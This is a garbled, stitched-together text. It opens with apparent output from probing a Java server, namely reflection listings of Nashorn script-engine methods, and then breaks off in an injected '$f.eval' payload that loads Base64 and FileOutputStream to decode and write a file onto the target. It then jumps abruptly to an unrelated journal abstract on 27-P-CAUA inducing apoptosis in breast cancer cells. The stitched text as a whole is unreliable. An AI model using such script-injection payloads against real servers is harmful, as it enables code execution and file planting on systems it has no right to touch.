public javax.script.ScriptEngineManager() public javax.script.ScriptEngineManager(java.lang.ClassLoader) public javax.script.ScriptEngineManager() javax.script.ScriptEngineManager@44eb5bdd jdk.nashorn.api.scripting.NashornScriptEngine@6b81dee4 [Ljava.lang.reflect.Method;@1c26a009 public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.lang.String) throws javax.script.ScriptException public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.io.Reader) throws javax.script.ScriptException public javax.script.ScriptEngineFactory jdk.nashorn.api.scripting.NashornScriptEngine.getFactory() public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.lang.String,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.io.Reader,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Object,java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeMethod(java.lang.Object,java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeFunction(java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public javax.script.Bindings jdk.nashorn.api.scripting.NashornScriptEngine.createBindings() public java.lang.Object javax.script.AbstractScriptEngine.get(java.lang.String) public void javax.script.AbstractScriptEngine.put(java.lang.String,java.lang.Object) public javax.script.ScriptContext javax.script.AbstractScriptEngine.getContext() public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String,javax.script.Bindings) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader,javax.script.Bindings) throws javax.script.ScriptException public void javax.script.AbstractScriptEngine.setContext(javax.script.ScriptContext) public javax.script.Bindings javax.script.AbstractScriptEngine.getBindings(int) public void javax.script.AbstractScriptEngine.setBindings(javax.script.Bindings,int) public final void java.lang.Object.wait() throws java.lang.InterruptedException public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException public boolean java.lang.Object.equals(java.lang.Object) public java.lang.String java.lang.Object.toString() public native int java.lang.Object.hashCode() public final native java.lang.Class java.lang.Object.getClass() public final native void java.lang.Object.notify() public final native void java.lang.Object.notifyAll() $f.eval("var B=Java.type('java.util.Base64');var F=Java.type('java.io.FileOutputStream');var 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Journal of Southern Medical University ›› 2022, Vol. 42 ›› Issue (1): 63-70.doi: 10.12122/j.issn.1673-4254.2022.01.07

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27-P-CAUA induces apoptosis and mitochondrial autophagy in breast cancer cells by inhibiting HER2/PI3K/AKT signaling pathway

HUANG Chao, WANG Hongting, WANG Cunqin   

  1. School of Pharmacy, Wannan Medical College, Wuhu 241002, China
  • Online:2022-01-20 Published:2022-03-02

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Abstract: Objective To investigate the inhibitory effect of 27-P-coumayl-ursolic acid (27-P-CAUA), the active ingredient in triterpenoids from the leaves of Ilex latifolia Thunb, against breast cancer cells and explore the underlying mechanism. Methods CCK-8 assay was used to assess the changes in viability of breast cancer HCC-1806 cells after 27-P-CAUA treatment for 24, 48, or 72 h. The inhibitory effect of 27-P-CAUA on proliferation of the cells was determined by clonogenic assay. JC-1 was used to detect the changes in mitochondrial membrane potential and flow cytometry was performed for analyzing cell apoptosis following 27-P-CAUA treatment. Immunofluorescence assay was used to observe the expression of cl-caspase-3 and P62 in the treated cells. Western blotting was performed to observe the effect of 27-P-CAUA and chloroquine pretreatment on the expressions of LC3I/II,P62 and HER2 signaling pathway proteins in the cells. Results The results of CCK-8 and clonogenic assays showed that 27-P-CAUA treatment significantly inhibited the proliferation of HCC-1806 cells (P<0.01) with IC50 values of 81.473, 48.392 and 18.467 μmol/L at 24, 48, and 72 h, respectively. 27-P-CAUA treatment also caused obvious changes in mitochondrial membrane potential (P<0.01) and induced cell apoptosis in HCC-1806 cells with a 3.34% increase of the early apoptosis rate. Immunofluorescence assay revealed a significant increase of cl-caspase3 expression in 27-P-CAUA-treated HCC-1806 cells, and treatment with 40 μmol/L 27-P-CAUA resulted in significant cell apoptosis (P<0.01). 27-P-CAUA obviously reduced the expression of LC3II, caused P62 degradation and induced autophagy in HCC-1806 cells. Chloroquine pretreatment obviously blocked the autophagy-inducing effect of 27-P-CAUA. 27-P-CAUA treatment also inhibited the phosphorylation of HER2 and AKT proteins and progressively lowered the expressions of HER2 and phosphorylated AKT protein in HCC-1806 cells (P<0.01). Conclusion 27-P-CAUA can inhibit the proliferation and induce mitochondrial autophagy and apoptosis of HCC-1806 cells by inhibiting the HER2/PI3K/AKT signaling pathway.

Key words: HCC-1806 cells; 27-P-coumayl-ursolic acid; HER2; mitochondrial autophagy; apoptosis